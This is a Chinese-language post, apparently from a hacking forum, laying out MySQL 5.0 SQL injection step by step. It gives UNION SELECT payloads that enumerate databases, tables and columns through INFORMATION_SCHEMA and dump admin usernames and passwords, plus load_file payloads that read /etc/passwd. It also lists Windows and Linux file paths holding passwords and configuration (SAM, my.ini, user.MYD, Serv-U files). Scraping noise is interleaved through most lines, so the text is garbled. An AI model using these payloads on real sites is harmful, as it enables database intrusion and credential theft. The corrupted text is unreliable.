mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
+ f9 }# Q& Q1 N; S+ N

$ V# o) t2 z% J2 `8 B: O
- y& b- M7 Q" D- GMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
/ C6 }+ S8 z6 X+ U( G/ |8 d$ Q, f9 Z中记录了Mysql中所有
/ `6 O* u- S" f, ^$ s/ m. s存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
' F9 T4 y  y# g明。
9 J/ e6 x& j$ ^  H6 u$ P/ S+ f1.得到所有数据库名：
8 ?- o9 {7 \  E|SCHEMATA ->存储数据库名的表
+ `" p% E7 D( b! z: ?|—字段：SCHEMA_NAME ->数据库名称

6 r: {: H  z& W3 t4 _# G|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
+ E8 Y1 e* |  R1 O( y, f|—字段：TABLE_NAME ->存储表的表名

, b  V7 V5 _8 I3 H! R7 ?; k|COLUMNS ->存储的字段名表
3 |$ l6 {. l1 ~|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
$ g/ G1 `: A5 s) \6 L5 z" F- }
#########################################################################
; y; h" p+ z. _7 ]% O##

$ C* {. q( x1 d; `/ L; i. l0×001 获取系统信息:
! ]/ C+ E5 k0 q$ ]
, u8 O4 A1 W' D  Munion select 1,2,3,4,5,concat
! \( y( ?( ^' U$ A. v  m, H, {(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
  p3 C; X9 z$ B& {( f(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

: C+ \6 `3 e8 t3 G+ U@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
" G  V% n7 b9 W& a) }: {1 R6 m0x3c62723e 换行HEX值

*/
0 H1 y3 A3 y% a6 n
6 y' c1 g& U% o9 x! j2 D######################################################################
. P9 H7 J9 Y) F" V$ h* H8 {6 Z
2 I9 f' }! Z, I, q# H8 K0×002 获取表名
3 w& l3 ^3 o1 S& v" A
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
- W- W: I6 H# ~$ u/ f
4 z% Y, f& w* l" K  [$ ~% s/*

1 `5 ?; Q* O  f9 {: M# \0x67617264656e 为当前数据库名
( c/ M2 x7 S( O+ ~6 ~/ v
% y+ k  ?  b# g/ o, Kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
: K/ u+ `) Q% d+ S
*/

######################################################################

; B. J4 ^+ f4 K8 }. s0×003 获取字段
5 c& a3 K5 D  d: d
  J1 H+ N6 o8 E4 uunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
) b9 v- W8 [1 x$ F4 Uinformation_schema.columns where table_name=0x61646d696e and
  M# p; e+ z5 g, {3 [& j4 O
! g# I5 @9 N4 X7 L% m) y
table_schema=0x67617264656e limit 1 /*

/*
6 y3 ~9 E9 W8 o5 @! N' S4 @
) r6 ?" M$ |3 {" G& Mgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
( k/ T$ u$ l  q. n  P% U' e
0x61646d696e ->选择一个表

0 Y; M2 l0 D& F$ H; }- s$ c# l0x67617264656e ->数据库名

*/

#####################################################################
# \& ^( e0 w- z6 K+ `" e
1 e  s2 p- n9 Z5 D0×004 获取数据

9 j: b& v- u+ Tunion select 1,2,3
$ }. ]# r$ [  P  k/ D,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
* M2 Y, B8 ]4 x/ m" U9 R- g
' j- b: R; K' j- {union select 1,group_concat(id),group_concat(adname),4,5,group_concat
  Y  _1 ~" d) I8 z& J) @(adpassword),6,7,8 from admin
5 O* X5 V: y7 g' d& z
9 v4 O8 y6 ~# L- U# l6 v* Y/*

9 U; H( @! U2 ^: @; A  o8 u0x3c62723e 换行符号HEX编码

7 h( Z: h' z& @5 {  O$ z6 Jgroup_concat 同时获得该字段所有数据

*/

/ V( @3 S6 q; Y8 e5 f0 e) j! c
* Z: Y+ _, Q5 ]& O
! Q, c( j! j# p: J, D: t
% c7 X6 b: x- X1 N' `
- r+ ^! V- n% I5 f顺便添加一些mysql注入时非常有用的一些东西
2 _& U6 W( ?; A& Y
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
! ~( P4 S! y! O% C1 l8 @! y! V1 F
1:system_user() 系统用户名
: K! K- w+ w1 h1 w2 m$ M4 R/ U2:user()        用户名
3:current_user()  当前用户名
# p: U! o4 K: G* F* R4:session_user()连接数据库的用户名
5 V( U( j5 N$ O% Y/ p% e4 B: F5:database()    数据库名
+ C& S/ n. x0 C2 [( E6:version()     MYSQL数据库版本
% L# r, l5 y) `7:load_file()   MYSQL读取本地文件的函数
8 ?& M0 [" H  f+ D. Y" r) ?+ i8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
8 m2 T9 x& z# D* r4 I2 {10@version_compile_os   操作系统  Windows Server 2003,
3 ~0 Y2 H/ @! R: e' F收集的一些路径：
WINDOWS下:
  r; m' [' Z; G+ M; o5 u+ wc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
0 Q# O3 t5 d! l2 Pc:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
  L; {+ E, W! I4 O: k- G1 D! Ec:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
/ `; D- K" o/ P4 Q  ~- `$ jc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
6 Z9 z* y$ l9 k' oc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
8 R8 O; u7 p8 F) \1 q" l( mC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
- p7 _) o7 Z4 j! O: Vc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
7 I$ L; r+ A2 T# F0 |+ qc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

" D3 x' I* M9 a! d) X# _- s5 v: d
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
* \1 N  ]' ^) \% d" _* Fd:\APACHE\Apache2\conf\httpd.conf
7 B. U+ U2 w6 Z1 MC:\Program Files\mysql\my.ini
, Z6 }  H) |7 S6 F4 Bc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
9 `0 t" {3 S; R4 i' A4 q* b6 ?9 a/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
& i$ Z. k! O$ A2 E) Q' p/etc/httpd/conf/httpd.conf // apache配置文件
& O% Q& a$ a9 M0 ]/etc/rsyncd.conf //同步程序配置文件
/ G$ b# N3 J3 ?4 A' e/etc/my.cnf //mysql的配置文件
* A' @$ X; B' H/etc/redhat-release //系统版本
7 B3 a* f* }; T1 N' k/etc/issue
& ^  N  f$ d+ m) J1 \- q7 `/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- T0 L- d' L% Q0 ?2 i: g/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
: H4 @! n7 N$ K, H- \- b/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
3 I: a/ W. D7 b3 u, [6 p; P/etc/sysconfig/iptables 查看防火墙策略
7 X0 |2 _0 ~; ]* tload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
9 D# F3 u# w: K# |+ s- K2 kreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
8 w8 k  B9 f- ~# W3 H% kreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

, \2 |1 `3 N: K/ ]% C5 v